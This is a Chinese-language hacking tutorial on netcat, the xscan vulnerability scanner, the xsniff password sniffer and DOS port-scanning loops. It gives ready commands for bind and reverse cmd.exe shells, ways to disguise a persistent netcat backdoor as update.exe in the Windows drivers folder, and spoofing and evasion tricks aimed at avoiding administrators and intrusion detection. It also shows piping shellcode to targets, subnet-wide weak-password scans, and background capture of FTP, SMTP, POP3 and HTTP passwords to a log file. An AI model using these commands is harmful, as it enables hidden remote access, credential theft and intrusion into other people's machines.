nc的用法介紹:
在***中它是最經典的工具之一。nc的全稱爲NetCat,它可以創建並接受傳輸控制協議(TCP)和用戶數據報協議(UDP)的鏈接,Netcat可在這些鏈接上讀寫數據,直到鏈接關閉爲止。它能夠經過手工或者腳本與應用層的網絡應用程序或服務進行交互。從技術上來說,NetCat並不能產生UDP鏈接,由於UDP是一種無鏈接的協議。NetCat沒有圖形界面,很粗糙,很原始。
nc的命令行
nc的基本命令行形式是 nc [options] host ports,其中host是要掃描的主機名或IP地址,ports要麼是一個單獨的端口,要麼是一個端口範圍(用m-n的形式指定),要麼是一系列用空格隔開的單個端口。
-d 只對Windows操做系統有用,該選項使NetCat以隱蔽模式工做,從而脫離MS-DOS命令提示符下環境運行,使得nc不須要保持打開命令窗口即可在監聽模式下運行,也能夠幫助***很好地隱藏監聽NetCat實例而不被系統管理員發現。
-e 若是NetCat使用gaping_security_hole選項進行編譯,那麼只要某人在NET後臺所監聽的任何端口上創建鏈接,該NetCat都將執行,且客戶端的NetCat會經過管道將I/O傳輸到在別處監聽的另外一個NetCat實例中。使用這個選項很是危險,除非你對nc至關了解,起碼知道你本身在作什麼。這是在系統中創建後門shell的一個很是快捷且容易的方法。
-i 延時間隔,表示在兩次數據發送之間nc等待的時間。例如:當通過管道傳輸一個文件到nc的時候,在傳輸輸入的下一行以前,nc將等待的秒數。當使用nc對一臺主機的多個端口之間進行操做時,在切換到下一個端口以前,nc等待的秒數。這樣可使***在進行數據傳輸或對一個服務進行***的時候更加隱蔽,也能夠幫助你的端口掃描不被***檢測系統和系統管理員發現。
-g這個選項具備欺騙性。nc支持loose source routing(鬆散源路由)。你能夠在命令行中指定多達8個-g選項來強迫nc流量通過特定的IP地址,這在你爲流量設置僞造的源IP地址時,能夠利用這個方法達到經過防火牆的過濾器或者容許訪問主機列表,但願接收到從主機返回的響應。
-G該選項讓用戶在-g選項所指定的路由列表中指定的一個地址做爲當前的下一路由,因爲IP地址爲4字節大小(IPV4),因此這個參數老是4字節的倍數;例如,4表明路由表中的第一個IP地址,8表明第二個IP地址,依次類推。這在僞造部分源路由表使得報文看起來至關的有用。在進行欺騙和源路由時,這個功能有助於屏蔽你的位置,但也不必定能接收到響應報文,由於響應報文將通過由僞造的IP地址反路由回來。
-l 該選項切換nc的監聽模式。此選項必須與-p選項一塊兒使用以告訴nc綁定某個指定的TCP端口並等待到來的鏈接。若換成-u選項,則應使用UDP端口而非TCP端口。
-L 該選項在Windows版本中有用,當一個鏈接被關閉後,使用相同的命令行選項進行重啓監聽模式,即便此時初始的鏈接已經結束,nc也能在不須要用戶干涉的狀況下接收後面新的鏈接。與-l同樣,必須與-p同時使用。
-n 該選項告訴咱們nc不作任何主機名查找的工做。
-0對數據執行一次十六進制轉儲(hex dump )並將其存儲在hexfile中。命令nc-o hexfile將把雙向通訊的數據記錄下來,在每行的開始處會有一個「<"或">」用來分別指示是進入數據仍是外出數據。若是隻想獲得對進入數據的十六進制轉儲,可使用 nc -ohexfile命令。
-p讓用戶指定一個nc應使用的本地端口號。當經過-l或-L選項來使用監聽模式的時候,這個參數是必需的。若是沒有爲外出鏈接指定這個參數,則與大多數其餘TCP或UDP客戶程序的作法同樣,nc將使用系統分配給他的任何端口。
-r 該參數使nc能夠隨機選擇本地和遠程端口。當使用nc在系統中範圍很大的一批端口上獲取信息時,要想混合源端口和目標端口的順序看起來不怎麼象端口掃描,這個選項是頗有用的。當這個選項與-i選項和一個足夠大的間隔結合使用的時候,在不被注意的端口掃描成功概率能獲得很大提高。
-s 指定nc創建鏈接時所使用的IP地址,該選項容許***作一些工做,它容許***隱藏他們的IP地址或假冒他人的IP地址,可是要獲得路由到他們所欺騙的地址的任何信息,都須要使用-g源路由選項。其次,當處於監聽模式時,大多數狀況下均可以與一個已經監聽的服務「預先綁定」,全部TCP和UDP服務都綁定到某個端口。
-t 若是使用telnet選項編譯,nc就能夠與telnet服務器進行telnet選項協商,雖然它的響應是毫無心義的信息,但能夠經過該狀態看到鏈接23端口的信息。
-u nc使用UDP而非TCP,在客戶模式和監聽模式下都起做用。
-v 控制nc將要作的事情達到的程度,如使用nc -v,那麼nc將僅吐出它所接收到的數據,一個單獨的-v能夠知道它鏈接或綁定的地址是否有問題發生,第2個-v可讓nc在一個鏈接結束的時候讓你知道這個鏈接總共發送和接收了多少數據。
-w控制在一個鏈接上nc放棄以前等待的時間。同時也告訴nc當在標準輸入上接收到一個eof(end-of-file)以後應該等待多長時間來關閉鏈接並退出。若是你經過nc向遠程服務器發送命令而且指望大量的數據返回(例如:向一臺web服務器發送一個http命令如下載一個大文件),該選項是頗有用的。
nc的具體使用
c:\nc.exe -l -p 4455 -d -e cmd.exe 能夠很好的隱藏一個NetCat後門。
c:\nc.exe -p 4455 -d -L -e cmd.exe 這個命令可讓***利用NetCat從新返回系統,直到系統管理員在任務管理器中看見nc.exe在運行,從而發現這個後門,咱們同樣能夠把它作的更加隱蔽,
c:\move nc.exe c:\windows\system32\Drivers\update.exe
c:\windows\systeme32\drivers\update.exe -p 4455 -d -L -e cmd.exe
系統管理員可能把特權附屬於一些無害的程序,如update.exe等,***也能夠隱藏命令行。
c:\windows\systme32\drivers\update.exe
cmd line: -l -p 4455 -d -L -e cmd.exe
c:\>
nc -l - p 80
監聽80端口
nc -l -p 80 >c:\log.dat 監聽80端口,並把信息記錄到log.dat中
nc -v -l -p 80 監聽80端口,並顯示端口信息
nc -vv -l -p 80 監聽80端口,顯示更詳細的端口信息
nc -l -p 80 -t -e cmd.exe監聽本地的80端口的入站信息,同時將cmd.exe重定向到80端口,當有人鏈接的時候,就讓cmd.exe以telnet的形式應答。固然這個最好用在控制的肉雞上。
nc -v ip port 掃瞄某IP的某個端口
nc -v -z ip port-port掃描某IP的端口到某端口
nc -v -z -u ip port-port掃描某IP的某UDP端口到某UDP端口
參數介紹:
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d
後臺模式
-e prog程序重定向,一旦鏈接,就執行 [危險!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h幫助信息
-i secs 延時的間隔
-l 監聽模式,用於入站鏈接
-L 鏈接關閉後,仍然繼續監聽
-n 指定數字的IP地址,不能用hostname
-o file 記錄16進制的傳輸
-p port 本地端口號
-r 隨機本地及遠程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 詳細輸出--用兩個-v可獲得更詳細的內容
-w secs timeout的時間
-z 將輸入輸出關掉--用於掃描時
端口的表示方法可寫爲M-N的範圍格式。
============================================================
基本用法:
大概有如下幾種用法:
1)
鏈接到REMOTE主機,例子:
格式:nc -nvv 192.168.x.x 80
講解:連到192.168.x.x的TCP80端口
2)
監聽LOCAL主機,例子:
格式:nc -l -p 80
講解:監聽本機的TCP80端口
3)
掃描遠程主機,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
講解:掃描192.168.x.x的TCP80到TCP445的全部端口
4)REMOTE
主機綁定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354端口
5)REMOTE
主機綁定SHELL並反向鏈接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
講解:綁定REMOTE主機的CMDSHELL並反向鏈接到192.168.x.x的TCP5354端口
以上爲最基本的幾種用法(其實NC的用法還有不少,
當配合管道命令"|"與重定向命令"<"、">"等等命令功能更強大......)。
============================================================
高級用法:
6)
做***程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
講解:鏈接到192.168.x.x的80端口,並在其管道中發送'c:\exploit.txt'的內容(兩種格式確有相同的效果,
真是有殊途同歸之妙:P)
附:'c:\exploit.txt'爲shellcode等
7)
做蜜罐用[1],例子:
格式:nc -L -p 80
講解:使用'-L'(注意L是大寫)能夠不停地監聽某一個端口,直到ctrl+c爲止
8)
做蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
講解:使用'-L'能夠不停地監聽某一個端口,直到ctrl+c爲止,同時把結果輸出到'c:\log.txt'中,若是把‘>'
改成‘>>'便可以追加日誌
附:'c:\log.txt'爲日誌等
9)
做蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
講解:使用'-L'能夠不停地監聽某一個端口,直到ctrl+c爲止,並把'c:\honeypot.txt'的內容‘送'入其
管道中
附:'c:\honeypot.txt'爲欺騙數據等
xscan的用法介紹
基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其餘選項] 掃錨"起始IP到終止IP"段的全部主機信息
xscan -file <主機列表文件名> <檢測項目> [其餘選項] 掃錨"主機IP列表文件名"中的全部主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操做系統類型(經過NETBIOS和SNMP協議)
-port 檢測經常使用服務的端口狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫權限
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 加載Nessus***腳本
-all 檢測以上全部項目
其它選項
-i 適配器編號 設置網絡適配器, <適配器編號>可經過"-l"參數獲取
-l 顯示全部網絡適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放端口的主機
-t 併發線程數量,併發主機數量 指定最大併發線程數量和併發主機數量, 默認數量爲100,10
-log 文件名 指定掃描報告文件名 (後綴爲:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的全部漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標準端口狀態,NT弱口令用戶,最大併發線程數量爲150,跳過沒有檢測到開放端口的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」文件中列出的全部主機的標準端口狀態,CGI漏洞,最大併發線程數量爲200,同一時刻最多檢測5臺主機,顯示詳細檢測進度,跳過沒有檢測到開放端口的主機
嗅探器xsniff用法介紹
可捕獲局域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後臺運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 端口 過濾端口
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後臺運行嗅探密碼並將密碼信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp信息並以ASCII格式輸出
不須要任何工具,DOS命令掃描一個網段的所有端口!在Windows2000下開一個DOS窗口,而後執行 for /l %a in (1,1,254) do start /min /low telnet 192.168.0.%a 3389
這樣192.168.0.x這個段的全部開放3389端口得主機都會暴露。
這條命令執行後,會在任務欄開254個小窗口。而後telnet連接失敗的窗口會在大約5秒後自動退出,剩下的窗口就是相對應開放端口的主機了。
看一下小窗口的標題能夠得知主機的ip地址,若是你以爲機器性能很好的話 能夠把/low參數去了。
掃描端口的介紹
如今掃描一臺主機的多個端口,以下:
for /l %a in (1,1,65535) do start /low /min telnet 192.168.0.1%a
這樣就掃描192.168.0.1的1到65535端口。 如今掃描一個網段的全部端口 : for /l %a in (1,1,254) do for /l %b in (1,1,65535) do start /low/min telnet 192.168.0.%a %b 這樣就會掃描192.168.0.x段的所有1到65535段口。 以上命令只能在Windows2000下使用,由於/l累加參數是Windows2000對for的擴展,固然WindowsXP和Windows.NET均可以用,WindowsME我沒有試過,由於沒有WindowsME的機器。